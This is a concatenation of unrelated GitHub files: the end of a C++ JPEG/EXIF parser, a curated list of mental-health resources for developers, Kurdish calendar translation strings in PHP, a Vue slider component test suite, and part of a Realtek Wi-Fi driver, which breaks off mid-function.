strncpy(m_ExifInfo.FileComment, (char *)&m_SectionBuffer[2], length); m_ExifInfo.FileComment[length] = '\0'; } ReleaseSection(); break; case M_SOF0: case M_SOF1: case M_SOF2: case M_SOF3: case M_SOF5: case M_SOF6: case M_SOF7: case M_SOF9: case M_SOF10: case M_SOF11: case M_SOF13: case M_SOF14: case M_SOF15: GetSection(infile, itemlen); if ((m_SectionBuffer != NULL) && (itemlen >= 7)) { ProcessSOFn(); m_ExifInfo.Process = marker; } ReleaseSection(); break; case M_IPTC: GetSection(infile, itemlen); if (m_SectionBuffer != NULL) { CIptcParse::Process(m_SectionBuffer, itemlen, &m_IPTCInfo); } ReleaseSection(); break; case M_EXIF: // Seen files from some 'U-lead' software with Vivitar scanner // that uses marker 31 for non exif stuff. Thus make sure // it says 'Exif' in the section before treating it as exif. GetSection(infile, itemlen); if (m_SectionBuffer != NULL) { CExifParse exif; exif.Process(m_SectionBuffer, itemlen, &m_ExifInfo); } ReleaseSection(); break; case M_JFIF: // Regular jpegs always have this tag, exif images have the exif // marker instead, althogh ACDsee will write images with both markers. // this program will re-create this marker on absence of exif marker. // hence no need to keep the copy from the file. // fall through to default case default: // Skip any other sections. GetSection(infile, itemlen); ReleaseSection(); break; } } return true; } //-------------------------------------------------------------------------- // Process a file. Check if it is JPEG. Extract exif/iptc info if it is. //-------------------------------------------------------------------------- bool CJpegParse::Process (const char *picFileName) { FILE *file; file = fopen(picFileName, "rb"); if (!file) return false; // File exists and successfully opened. Start processing // Gather all information about the file /* // Get file name... CStdString tmp, urlFName, path; CURL url(picFileName); url.GetURLWithoutUserDetails(urlFName); CUtil::Split(urlFName, path, tmp); m_JpegInfo[SLIDE_FILE_NAME] = tmp; // ...then path... m_JpegInfo[SLIDE_FILE_PATH] = path; // ...then size... __stat64 fileStat; CFile::Stat(picFileName, &fileStat); float fileSize = (float)fileStat.st_size; tmp = ""; if (fileSize > 1024) { fileSize /= 1024; tmp = "KB"; } if (fileSize > 1024) { fileSize /= 1024; tmp = "MB"; } if (fileSize > 1024) { fileSize /= 1024; tmp = "GB"; } tmp.Format("%.2f %s", fileSize, tmp); m_JpegInfo[SLIDE_FILE_SIZE] = tmp; // ...then date and time... CDateTime date((time_t)fileStat.st_mtime); tmp.Format("%s %s", date.GetAsLocalizedDate(), date.GetAsLocalizedTime()); m_JpegInfo[SLIDE_FILE_DATE] = tmp;*/ bool result = ExtractInfo(file); fclose(file); if (result == false) printf("JpgParse: Not a JPEG file %s", picFileName); return result; }
{ "pile_set_name": "Github" }
<p align="center"><img src="./media/logo.png"></p> <p align="center"> <a href="https://github.com/sindresorhus/awesome"><img alt="awesome" src="https://awesome.re/badge.svg"/></a> <img alt="PRs Welcome" src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg"/> <img alt="Mencionado en Comunidad Tecnológica" src="https://github.com/comunidad-tecnologica/comunidad-tecnologica/blob/master/img/comunidad-tecnologica.svg"/> </p> ## About :sparkles: A curated list of awesome articles, websites and resources about mental health in the software industry. :sparkles: **Mental health** is a level of **psychological well-being** or **an absence of mental illness**. It's the psychological state of someone who is functioning at a satisfactory level of emotional and behavioural adjustment. It includes subjective well-being, perceived self-efficacy, autonomy, competence, inter-generational dependence, and self-actualization of one's intellectual and emotional potential, among others. > This list compiles several self-help resources we've personally found useful for a range of mental health problems, but in no way are they a replacement of professional help, psychotherapy or pharmacotherapy. **We're not experts**, and even if we were, most of these tools are meant as an aid to therapy, not as a substitute. > >**If you're in a crisis, please see [here](https://twloha.com/find-help/international-resources/), or [here](https://www.iasp.info/resources/Crisis_Centres/) for resources in your country.** ## Contents - [Applications](#applications) - [Articles](#articles) - [Books](#books) - [Conferences](#conferences) - [Meetups](#meetups) - [Organizations](#organizations) - [Podcasts](#podcasts) - [Talks](#talks) ## Applications Applications to help with dealing with anxiety, depression or other mental health problems. * [Moodpath](https://mymoodpath.com/en/) - Interactive, app-based screening, created to recognize symptoms of depression. * [Nyxo](https://nyxo.app) – Open source sleep tracking and sleep coaching app for iOS and Android. * [Pacifica](https://www.thinkpacifica.com/) - Daily tools for stress, anxiety, and depression alongside a supportive community. Based on cognitive behavioral therapy & mindfulness meditation. * [Quirk](https://www.quirk.fyi/) - A GPL Licensed Cognitive Behavioral Therapy (CBT) app for iOS and Android. * [Three Good Things](https://three-good-things.glitch.me/) - Write down three good things in your life every morning. * [Wake Up Time](http://wakeupti.me/) - Calculates optimal times to wake up based on your body's sleep cycles. * [we are ANXIO.us](http://weareanxio.us) - A collection of mental health and wellness apps, plus resources. * [Wrabit](https://writewithwrabit.com) - Build a daily writing habit while contributing to mental health research. ## Articles Articles, posts and papers on mental health in technology. * [A Programmers Guide To Stress](http://codingmindfully.com/a-programmers-guide-to-stress/) - By Daragh Byrne. * [Are You More Than Okay: The State Of Mental Health In Tech In 2016](https://modelviewculture.com/pieces/are-you-more-than-okay-the-state-of-mental-health-in-tech-in-2016) - By Julia Nguyen. * [Coding, Fast And Slow: Developers And The Psychology Of Overconfidence](https://medium.com/better-programming/coding-fast-and-slow-developers-and-the-psychology-of-overconfidence-433388e7aec0) - By Dan Milstein. * [Developer Depression: Isolation Is The Biggest Problem](https://thenextweb.com/insider/2012/10/20/are-developers-depressed/#gref) - By Lauren Maffeo. * [Developers: How to Overcome Imposter Syndrome](https://medium.com/learn-love-code/developers-how-to-overcome-imposter-syndrome-48edee803cf4) - By Abhishek Pillai. * [Do Not Disturb](https://joebell.co.uk/blog/do-not-disturb/) - By Joe Bell. * [Encouraging Wellness in a Remote Workpalce](https://dev.to/desi/encouraging-wellness-in-a-remote-workplace-17m5) - By Desi Rottman. * [For The Developers With Anxiety, And Everyone Else](https://medium.com/envato/for-the-developers-with-anxiety-and-everyone-else-834cc2517eba) - By Daine Mawer. * [How I Beat Impostor Syndrome And Stopped Feeling Like A Fake](http://codingmindfully.com/how-i-beat-impostor-syndrome/) - By Daragh Byrne. * [How I Conquered Anxiety And Learned To LOVE Coding](https://skillcrush.com/2015/06/18/eliminate-your-coding-anxiety/) - By Joyce Akiko. * [How I Fought Through Anxiety And Depression To Finish freeCodeCamp's Front End Dev Program](https://medium.freecodecamp.org/battling-depression-and-anxiety-to-finish-freecodecamps-front-end-dev-program-66a4c8cc0e13) - By Emily Aamodt. * [How To Move Your Organization From Fear To Fearlessness](https://blog.liberationist.org/how-to-move-your-organization-from-fear-to-fearlessness-5cef99e7eb77) - By Gustavo Razzetti. * [Hunting For A Web Developer Job... With Crushing Anxiety And No Self-Esteem](https://medium.com/@jameslave/hunting-for-a-web-developer-job-with-crushing-anxiety-and-no-self-esteem-3aa64d67a0a4) - By James Lave. * [I Can't Do It All: My Burnout Story](https://dev.to/molly_struve/i-cant-do-it-all-my-burnout-story-1e54) - By Molly Struve. * [Intro To Meditation For Coders](https://dev.to/256hz/intro-to-meditation-for-coders-1p6f) - By Abe Dolinger. * [It's Okay To Not Be Okay](https://dev.to/andrew/its-okay-to-not-be-okay) - By Andrew Montagne. * [It's Time To Talk About Mental Health In The Games Industry](https://www.gamesindustry.biz/articles/2017-05-09-its-time-to-talk-about-mental-health-in-the-games-industry) - By Rich Eddy. * [It's Time To Talk About Mental Illness In Indie Development](https://www.engadget.com/2018/04/04/mental-illness-indie-take-this-kate-edwards-mike-wilson) - By Jessica Conditt. * [Mental Self Care For Software Developers And Web Designers](https://www.elegantthemes.com/blog/editorial/mental-self-care-for-software-developers-and-web-designers) - By B.J. Keeton. * [Mental Illness In The Web Industry](https://alistapart.com/article/mental-illness-in-the-web-industry) - By Brandon Gregory. * [My Mental Health Toolbelt](https://medium.com/@taylorotwell/my-mental-health-toolbelt-9b9fdd4ae149) - By Taylor Otwell. * [On Dealing With Anxiety And Depression As A Developer](https://dev.to/moimikey/on-dealing-with-anxiety-and-depression-as-a-developer-2ac4) - By Michael Scott Hertzberg. * [Overcoming Public Speaking Anxiety Of Software Engineers Using Virtual Reality Exposure Therapy](https://www.researchgate.net/publication/319064487_Overcoming_Public_Speaking_Anxiety_of_Software_Engineers_Using_Virtual_Reality_Exposure_Therapy) - By Merve Denizci Nazligul, Murat Yilmaz, Ulas Gulec, Mert Ali Gozcu, Rory V. O'Connor & Paul Clarke. * [Perfectionism, Anxiety And Learning To Be Kind To Yourself](https://medium.com/samsung-internet-dev/perfectionism-anxiety-and-learning-to-be-kind-to-yourself-e3c23710704) - By Jo Franchetti. * [Programmer Imposter Syndrome: 6 Ways To Get Over Yours](https://www.codingdojo.com/blog/programmer-imposter-syndrome) - By Ethan Urie. * [Recovering From Burnout](https://kierantie.com/burnout) - By Kieran Tie. * [Software Developer Careers Considered Harmful](http://www.methodsandtools.com/archive/zenprogrammer.php) - By Christian Grobmeier. * [Sorry, Not Sorry - How To Advocate For Your Mental Health At Work](https://www.thriveglobal.com/stories/38629-how-to-advocate-for-yourself-at-work) - By Jessica DiVento. * [Taming Anxiety And Hacking Your Way Into Productivity](https://hackernoon.com/taming-anxiety-and-hacking-your-way-into-productivity-1c9258b8380a) - By André Pena. * [The Programmer’s Great Clinical Depression](https://simpleprogrammer.com/programmers-great-clinical-depression) - By Jason Lowenthal. * [Tips For Dealing With Developer Stress](https://www.airpair.com/javascript/posts/tips-for-dealing-with-developer-stress) - By Rich McLaughlin. * [Tips To Maintain Your Mental Health As A Software Developer](https://www.brightdevelopers.com/tips-maintain-mental-health-software-developer/) - By Steven To. * [We Need To Talk About Developers And Depression](https://www.creativebloq.com/web-design/we-need-talk-about-developers-and-depression-101413045) - By Greg Baugues. * [What Happens When Software Developers Are (un)Happy](https://www.sciencedirect.com/science/article/pii/S0164121218300323) - By Daniel Graziotin, Fabian Fagerholm, Xiaofeng Wang & Pekka Abrahamssone. * [What It's Like Being A Developer With Schizoaffective Disorder](https://dev.to/ogfris/what-its-like-being-a-developer-with-schizoaffective-disorder-1ei) - By Fris. * [What Most Remote Companies Don't Tell You About Remote Work](https://blog.doist.com/mental-health-and-remote-work-1b77616f6945) - By Amir Salihefendic. * [Why Burnout Is Dangerous And How You Can Recover From It (It's Possible)](https://blog.toggl.com/recover-from-burnout) - By Theodora S. Abigail. * [Why Do Software Developers Suffer From Imposter Syndrome?](https://medium.com/@rajeefmk/why-does-software-developers-suffer-from-imposter-syndrome-ccf961d0c29a) - By Muhammed Rajeef M K. ## Books Books that has mental health and self-care as the main theme. * [Mental Health In Tech: Guidelines For Employees](https://leanpub.com/osmi-guidelines-for-employees) - By OSMI. * [Mental Health In Tech: Guidelines For Executives And HR Professionals](https://leanpub.com/osmi-guidelines-for-employers) - By OSMI. * [Mental Health In Tech: Guidelines For Mental Wellness In The Workplace](https://leanpub.com/osmi-mental-wellness-in-the-workplace) - By OSMI. ## Conferences Conferences spreading the word of the importance of mental health awareness and self-care in the software industry. * [Computing And Mental Health](http://mentalhealth.media.mit.edu/) - Bringing together communities. * [Anxiety Tech](http://www.anxietytech.com) - Learn how to advocate for mental health at work, how technology can be better designed to support mental health, what technologies are already working to help those who suffer with mental illnesses, and how you or your company can be leaders in this field. ## Meetups Meetup groups all around the world focusing on mental health in the software industry. * [Mental Health In Tech Auckland](https://www.meetup.com/mental-health-in-tech-auckland/) - Organized by Navs, Kai L. & Helen D. ## Organizations Organizations bringing mental health awareness to the software industry. * [Black Minds Matter](http://blackmindsmatter.co.uk/) - A non-profit organisation that aims to empower communities of Black people aged 13- 25, and wants to make more equal and just society for all. * [Black Therapists Rock](https://www.blacktherapistsrock.com/) - Black Therapists Rock (BTR) is an organization committed to increasing awareness of social and psychological challenges impacting vulnerable communities. * [The Black, African, and Asian Therapy Network](https://www.baatn.org.uk/) - The UK’s largest independent organisation to specialise in working psychologically, informed by an understanding of intersectionality, with people who identify as Black, African, South Asian and Caribbean. * [Brown Sisters Speak](https://twitter.com/BrownSistersSpk) - Mental Health Peer Support & Advocacy for Women Of Color. * [Compassionate Coding](https://compassionatecoding.com) - Compassionate Coding combines the effective practices of agile software development with a focus on empathy and the latest in positive organizational psychology. * [Everybody Has A Brain](http://everybodyhasabrain.com/) - Everybody Has A Brain is about creating opportunities for dialogue around personal mental health. * [Hack Mental Health](https://www.hackmentalhealth.care) - The intersection of mental health and technology. * [IfMe](https://www.if-me.org) - Community for mental health experiences that encourages people to share their personal stories with trusted allies. * [InfoSanity](https://www.infosanity.org) - Mental health in the hacker community. * [Mental Health Hackers](https://mentalhealthhackers.org/) - An Organization that aims at providing support services to those who may be susceptible to related mental health issues such as anxiety, depression, social isolation, eating disorders, etc. * [Mental Health Knowledge Base](https://mentalhealth-kb.net/) - GitHub-based project and website that encourages a diversity of views regarding mental health. * [MHPrompt](http://mhprompt.org) - Let's start a conversation about mental health in tech. * [OSMI](https://osmihelp.org) - Open Sourcing Mental Illness is a non-profit, corporation dedicated to raising awareness, educating, and providing resources to support mental wellness in the tech and open source communities. * [SelfCare.Tech](http://selfcare.tech/) - A repository of self-care resources for developers & others. ## Podcasts Podcast episodes with «mental health awareness in the software industry» as the main theme. * [Emotional Intelligence And Ethics In Tech](http://happyporchradio.com/season-4-episode-3-april-wensel/) - By April Wensel in the Happy Porch podcast. * [Jerk Programmer To Compassionate Coder](http://ardentdev.com/011-jerk-programmer-compassionate-coder-april-wensel) - By April Wensel in the Ardent Development podcast. ## Talks Talks and presentations about mental health awareness and other testimonies and experiences in the software industry. * [A Conversation About Mental Health In Tech - Distill 2014](https://vimeo.com/105802592) - By Ed Finkler, Greg Baugues, John Dalton & Paddy Foran. * [Advocating For Mental Health At Work - AnxietyTech 2018](https://www.youtube.com/watch?v=GfTSrtJgemQ) - By Dr. Jessica DiVento. * [Anxiety & Calm Technology - AnxietyTech 2018](https://www.youtube.com/watch?v=hhliVWI4mCY) - By Amber Case. * [Authentic Developer - Droidcon Berlin 2018](https://www.youtube.com/watch?v=k6tROMj_rIQ) - By Anastasia López Dornak. * [Beyond Burnout: Mental Health And Neurodiversity In Engineering - DevOpsDays Boston 2018](https://www.youtube.com/watch?v=NGiy02nEcG8) - By James Meickle. * [Burnout And Your Meat Computer - Electromagnetic Field 2018](https://www.youtube.com/watch?v=gcYRhATiyO4) - By Jessica Rose. * [Cultivating Compassionate Tech Communities - AnxietyTech 2018](https://www.youtube.com/watch?v=4COZk8IjbJs) - By April Wensel. * [Debugging Our Feelings: Cognitive Behavioural Therapy For Developers - Peers Conference 2018](https://vimeo.com/253833709) - By Jamie Strachan. * [Developers And Depression - Codeland NYC 2017](https://www.youtube.com/watch?v=us4w6lBV30Y) - By Greg Baugues. * [Developers, Entrepreneurs And Depression - Business Of Software 2015](https://www.youtube.com/watch?v=zUQjZZJjKsY) - By Greg Baugues. * [Emotional Intelligence For Engineers - ngAtlanta 2018](https://www.youtube.com/watch?v=SJnVhkEx8Cs) - By April Wensel. * [Fight Tech With Tech - AnxietyTech 2018](https://www.youtube.com/watch?v=DDka7_Yaaw4) - By Pamela Fox. * [Getting Therapy To Those Who Need It Most - AnxietyTech 2018](https://www.youtube.com/watch?v=O4AWH5o1NVk) - By Shawn Kernes. * [Hacking With My Anxiety - AnxietyTech 2018](https://www.youtube.com/watch?v=8tB6Eo8iJ70) - By Bryan Hughes. * [Hitting The Wall And How To Get Up Again - Tackling Burnout And Strategies For Self Care - PyCon Australia 2016](https://www.youtube.com/watch?v=Rdc06jpjVIY) - By Jackson Fairchild. * [Howto: Not Get A Burnout - PowerShell Conference EU 2018](https://www.youtube.com/watch?v=0MjqMlkA3gs) - By Jeff Wouters. * [Imposter Syndrome - PyCon Australia 2016](https://www.youtube.com/watch?v=hNlLM0OUXDc) - By Bianca Gibson. * [It's Dangerous To Go Alone: Battling The Invisible Monsters In Tech - PyCon 2014](https://www.youtube.com/watch?v=1i8ylq4j_EY) - By Julie Pagano. * [It's Darkest Before Dawn: Alcoholism And Addiction In Tech - DjangoCon US 2016](https://www.youtube.com/watch?v=lyVHKTGjivo) - By Timothy Allen. * [Living With Bipolar Disorder As A Software Engineer - AnxietyTech 2018](https://www.youtube.com/watch?v=Jv9HdGwulE0) - By Jenna Quindica. * [Looking After Your Mental Health, A Guide For Software Developers - PHP Yorkshire 2018](https://www.youtube.com/watch?v=ITY3RAg_PW0) - By Mark Railton. * [Mental Health In Development - PyCon Australia 2016](https://www.youtube.com/watch?v=P4wWbHvNAvY) - By Eloise Macdonald-Meyer. * [Modern Mindfulness - Hey! 2016](https://www.youtube.com/watch?v=Dc2JkIXfx8I) - By Joe Bell. * [Programmers Don't Like People...Or Do They? - Node.js Interactive 2018](https://www.youtube.com/watch?v=HPFuHS6aPhw) - By April Wensel. * [Self Care: Avoiding Burnout - AnxietyTech 2018](https://www.youtube.com/watch?v=P4eR419RgVc) - By Shemika Lamare. * [Stress & Depression, A Taboo In Our Time - GOTO 2017](https://www.youtube.com/watch?v=jGG6Wip_PGg) - By Gitte Klitgaard. * [Stronger Than Fear: Mental Health In The Developer Community - ElixirDaze 2017](https://www.youtube.com/watch?v=7CoEDFOXJQo) - By Ed Finkler. * [Successful, Accomplished, Depressed: A Talk About Performance, Perfectionism, And Burnout In IT - WeAreDevelopers 2018](https://www.youtube.com/watch?v=C84h5e9cOZY) - By Dennis Traub. * [The Evolution Of VR Therapy - AnxietyTech 2018](https://www.youtube.com/watch?v=qdddeZfzrus) - By Skip Rizzo. * [The Mental Impact of Tech Interviews - Abstractions II](https://www.youtube.com/watch?v=smS1PxK5qK4) ([Slides](https://docs.google.com/presentation/d/e/2PACX-1vRuuiXy4yk7B56kqCyYOxqKD1PRm5qVTEIg9FFlnTMLnNsrag6yzxnLgZFHjaFb6WbXLa60w4ci91xR/pub?start=false&loop=false&delayms=3000&slide=id.g44670d1eb8_0_13)) - By Zack Zlotnik. * [The Never Ending Hack Mental Health In InfoSec Community - Circle City Con 5.0](https://www.youtube.com/watch?v=CWHfIdG0nOw) - By Danny Akacki. * [UX Of Wearables In Clinical Treatment For PTSD - AnxietyTech 2018](https://www.youtube.com/watch?v=Ru58976R0Gw) - By Ada Ng. * [VR Mental Health Startup: Idea To Reality - AnxietyTech 2018](https://www.youtube.com/watch?v=6fmT_MBcoTY) - By Jonathan Sockell. * [Why We Need Innovation In Mental Health Tech - AnxietyTech 2018](https://www.youtube.com/watch?v=whYGza42F5U) - By Solome Tibebu. ## Contributing [![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-v2.0%20adopted-ff69b4.svg)](CODE_OF_CONDUCT.md) Please see [CONTRIBUTING](.github/CONTRIBUTING.md) for more details on how to suggest awesome resources or other modifications to the list. You can also find an alphabetically-ordered list of contributors of this repository [here](CONTRIBUTORS.md). All contributors are expected to adhere to the [Code of Conduct](CODE_OF_CONDUCT.md) of the project. (Contributor Covenant) ---------------------------- This project was started by [dreamingechoes](https://github.com/dreamingechoes).
{ "pile_set_name": "Github" }
<?php $TRANSLATIONS = array( "Timezone changed" => "هەرێمی کاتی گۆڕدرا", "Invalid request" => "داواکارى نادروستە", "Calendar" => "ڕۆژژمێر", "All day" => "هەموو ڕۆژ", "Title" => "ناونیشان", "Birthday" => "ڕۆژی لە دایک بوون", "by" => "له‌لایه‌ن", "unnamed" => "بێ ناو", "Week" => "هەفتە", "Month" => "مانگ", "Today" => "ئەمڕۆ", "Download" => "داگرتن", "Edit" => "دەسکاریکردن", "Edit calendar" => "دەسکاریکردنی ڕۆژژمێر", "Share" => "هاوبەشی کردن", "Location" => "شوێن", "Description" => "پێناسه", "Advanced" => "هه‌ڵبژاردنی پیشكه‌وتوو", "Import" => "هێنان", "Category" => " هاوپۆلەکان", "From" => "لەلایەن" ); $PLURAL_FORMS = "nplurals=2; plural=(n != 1);";
{ "pile_set_name": "Github" }
import Vue from 'vue' import flushPromises from 'flush-promises' import { mount } from '@vue/test-utils' import Formulate from '@/Formulate.js' import FormulateInput from '@/FormulateInput.vue' import FormulateInputSlider from '@/inputs/FormulateInputSlider.vue' Vue.use(Formulate) /** * Test each type of slider element */ describe('FormulateInputSlider', () => { it('renders range input when type is "range"', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range' } }) expect(wrapper.findComponent(FormulateInputSlider).exists()).toBe(true) }) it('does not show value if the show-value prop is not set', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', value: '15', min: '0', max: '100' } }) expect(wrapper.find('.formulate-input-element-range-value').exists()).toBe(false) }) it('renders the value when type is "range" and show-value prop is set', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', showValue: 'true', value: '15', min: '0', max: '100' } }) expect(wrapper.find('.formulate-input-element-range-value').text()).toBe('15') }) it('passes an explicitly given name prop through to the root element', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', name: 'foo' } }) expect(wrapper.find('input[name="foo"]').exists()).toBe(true) }) it('additional context does not bleed through to range input attributes', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range' } } ) expect(Object.keys(wrapper.find('input[type="range"]').attributes())).toEqual(["type", "id"]) }) it('has the proper default element classes', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', elementClass: ['extra']} }) expect(wrapper.findComponent(FormulateInputSlider).attributes('class')) .toBe('formulate-input-element formulate-input-element--range extra') }) it('can add classes to the input element', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', inputClass: ['test-class']} }) expect(wrapper.find('input').attributes('class')) .toBe('test-class') }) it('allows override of the rangeValue class', () => { const wrapper = mount(FormulateInput, { propsData: { type: 'range', showValue: true, rangeValueClass: ['custom-class'] } }) expect(wrapper.find('.formulate-input-element-range-value.custom-class').exists()).toBe(true) }) it('allows a numeric zero value but still hasValue', async () => { const wrapper = mount({ template: ` <FormulateForm v-model="model" > <FormulateInput type="slider" name="range" /> </FormulateForm> `, data () { return { model: { range: 0 } } } }) await flushPromises(); const input = wrapper.findComponent(FormulateInput) expect(input.vm.context.hasValue).toBe(true) }) it('emits a focus event', async () => { const focus = jest.fn() const wrapper = mount(FormulateInput, { propsData: { type: 'range', min: 0, max: 100 }, listeners: { focus } }) wrapper.find('input[type="range"]').trigger('focus') await flushPromises() expect(focus.mock.calls.length).toBe(1); }) })
{ "pile_set_name": "Github" }
/****************************************************************************** * * Copyright(c) 2009-2012 Realtek Corporation. * * This program is free software; you can redistribute it and/or modify it * under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA * * The full GNU General Public License is included in this distribution in the * file called LICENSE. * * Contact Information: * wlanfae <wlanfae@realtek.com> * Realtek Corporation, No. 2, Innovation Road II, Hsinchu Science Park, * Hsinchu 300, Taiwan. * * Larry Finger <Larry.Finger@lwfinger.net> * *****************************************************************************/ #include "../wifi.h" #include "reg.h" #include "def.h" #include "phy.h" #include "rf.h" #include "dm.h" static bool _rtl92ce_phy_rf6052_config_parafile(struct ieee80211_hw *hw); void rtl92ce_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw, u8 bandwidth) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); switch (bandwidth) { case HT_CHANNEL_WIDTH_20: rtlphy->rfreg_chnlval[0] = ((rtlphy->rfreg_chnlval[0] & 0xfffff3ff) | 0x0400); rtl_set_rfreg(hw, RF90_PATH_A, RF_CHNLBW, RFREG_OFFSET_MASK, rtlphy->rfreg_chnlval[0]); break; case HT_CHANNEL_WIDTH_20_40: rtlphy->rfreg_chnlval[0] = ((rtlphy->rfreg_chnlval[0] & 0xfffff3ff)); rtl_set_rfreg(hw, RF90_PATH_A, RF_CHNLBW, RFREG_OFFSET_MASK, rtlphy->rfreg_chnlval[0]); break; default: RT_TRACE(rtlpriv, COMP_ERR, DBG_EMERG, "unknown bandwidth: %#X\n", bandwidth); break; } } void rtl92ce_phy_rf6052_set_cck_txpower(struct ieee80211_hw *hw, u8 *ppowerlevel) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); struct rtl_mac *mac = rtl_mac(rtl_priv(hw)); struct rtl_efuse *rtlefuse = rtl_efuse(rtl_priv(hw)); u32 tx_agc[2] = {0, 0}, tmpval; bool turbo_scanoff = false; u8 idx1, idx2; u8 *ptr; if (rtlefuse->eeprom_regulatory != 0) turbo_scanoff = true; if (mac->act_scanning) { tx_agc[RF90_PATH_A] = 0x3f3f3f3f; tx_agc[RF90_PATH_B] = 0x3f3f3f3f; if (turbo_scanoff) { for (idx1 = RF90_PATH_A; idx1 <= RF90_PATH_B; idx1++) { tx_agc[idx1] = ppowerlevel[idx1] | (ppowerlevel[idx1] << 8) | (ppowerlevel[idx1] << 16) | (ppowerlevel[idx1] << 24); } } } else { for (idx1 = RF90_PATH_A; idx1 <= RF90_PATH_B; idx1++) { tx_agc[idx1] = ppowerlevel[idx1] | (ppowerlevel[idx1] << 8) | (ppowerlevel[idx1] << 16) | (ppowerlevel[idx1] << 24); } if (rtlefuse->eeprom_regulatory == 0) { tmpval = (rtlphy->mcs_txpwrlevel_origoffset[0][6]) + (rtlphy->mcs_txpwrlevel_origoffset[0][7] << 8); tx_agc[RF90_PATH_A] += tmpval; tmpval = (rtlphy->mcs_txpwrlevel_origoffset[0][14]) + (rtlphy->mcs_txpwrlevel_origoffset[0][15] << 24); tx_agc[RF90_PATH_B] += tmpval; } } for (idx1 = RF90_PATH_A; idx1 <= RF90_PATH_B; idx1++) { ptr = (u8 *) (&(tx_agc[idx1])); for (idx2 = 0; idx2 < 4; idx2++) { if (*ptr > RF6052_MAX_TX_PWR) *ptr = RF6052_MAX_TX_PWR; ptr++; } } tmpval = tx_agc[RF90_PATH_A] & 0xff; rtl_set_bbreg(hw, RTXAGC_A_CCK1_MCS32, MASKBYTE1, tmpval); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "CCK PWR 1M (rf-A) = 0x%x (reg 0x%x)\n", tmpval, RTXAGC_A_CCK1_MCS32); tmpval = tx_agc[RF90_PATH_A] >> 8; tmpval = tmpval & 0xff00ffff; rtl_set_bbreg(hw, RTXAGC_B_CCK11_A_CCK2_11, 0xffffff00, tmpval); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "CCK PWR 2~11M (rf-A) = 0x%x (reg 0x%x)\n", tmpval, RTXAGC_B_CCK11_A_CCK2_11); tmpval = tx_agc[RF90_PATH_B] >> 24; rtl_set_bbreg(hw, RTXAGC_B_CCK11_A_CCK2_11, MASKBYTE0, tmpval); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "CCK PWR 11M (rf-B) = 0x%x (reg 0x%x)\n", tmpval, RTXAGC_B_CCK11_A_CCK2_11); tmpval = tx_agc[RF90_PATH_B] & 0x00ffffff; rtl_set_bbreg(hw, RTXAGC_B_CCK1_55_MCS32, 0xffffff00, tmpval); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "CCK PWR 1~5.5M (rf-B) = 0x%x (reg 0x%x)\n", tmpval, RTXAGC_B_CCK1_55_MCS32); } static void rtl92c_phy_get_power_base(struct ieee80211_hw *hw, u8 *ppowerlevel, u8 channel, u32 *ofdmbase, u32 *mcsbase) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); struct rtl_efuse *rtlefuse = rtl_efuse(rtl_priv(hw)); u32 powerBase0, powerBase1; u8 legacy_pwrdiff, ht20_pwrdiff; u8 i, powerlevel[2]; for (i = 0; i < 2; i++) { powerlevel[i] = ppowerlevel[i]; legacy_pwrdiff = rtlefuse->txpwr_legacyhtdiff[i][channel - 1]; powerBase0 = powerlevel[i] + legacy_pwrdiff; powerBase0 = (powerBase0 << 24) | (powerBase0 << 16) | (powerBase0 << 8) | powerBase0; *(ofdmbase + i) = powerBase0; RTPRINT(rtlpriv, FPHY, PHY_TXPWR, " [OFDM power base index rf(%c) = 0x%x]\n", i == 0 ? 'A' : 'B', *(ofdmbase + i)); } for (i = 0; i < 2; i++) { if (rtlphy->current_chan_bw == HT_CHANNEL_WIDTH_20) { ht20_pwrdiff = rtlefuse->txpwr_ht20diff[i][channel - 1]; powerlevel[i] += ht20_pwrdiff; } powerBase1 = powerlevel[i]; powerBase1 = (powerBase1 << 24) | (powerBase1 << 16) | (powerBase1 << 8) | powerBase1; *(mcsbase + i) = powerBase1; RTPRINT(rtlpriv, FPHY, PHY_TXPWR, " [MCS power base index rf(%c) = 0x%x]\n", i == 0 ? 'A' : 'B', *(mcsbase + i)); } } static void _rtl92c_get_txpower_writeval_by_regulatory(struct ieee80211_hw *hw, u8 channel, u8 index, u32 *powerBase0, u32 *powerBase1, u32 *p_outwriteval) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); struct rtl_efuse *rtlefuse = rtl_efuse(rtl_priv(hw)); u8 i, chnlgroup = 0, pwr_diff_limit[4]; u32 writeVal, customer_limit, rf; for (rf = 0; rf < 2; rf++) { switch (rtlefuse->eeprom_regulatory) { case 0: chnlgroup = 0; writeVal = rtlphy->mcs_txpwrlevel_origoffset[chnlgroup][index + (rf ? 8 : 0)] + ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "RTK better performance, writeVal(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); break; case 1: if (rtlphy->current_chan_bw == HT_CHANNEL_WIDTH_20_40) { writeVal = ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Realtek regulatory, 40MHz, writeVal(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); } else { if 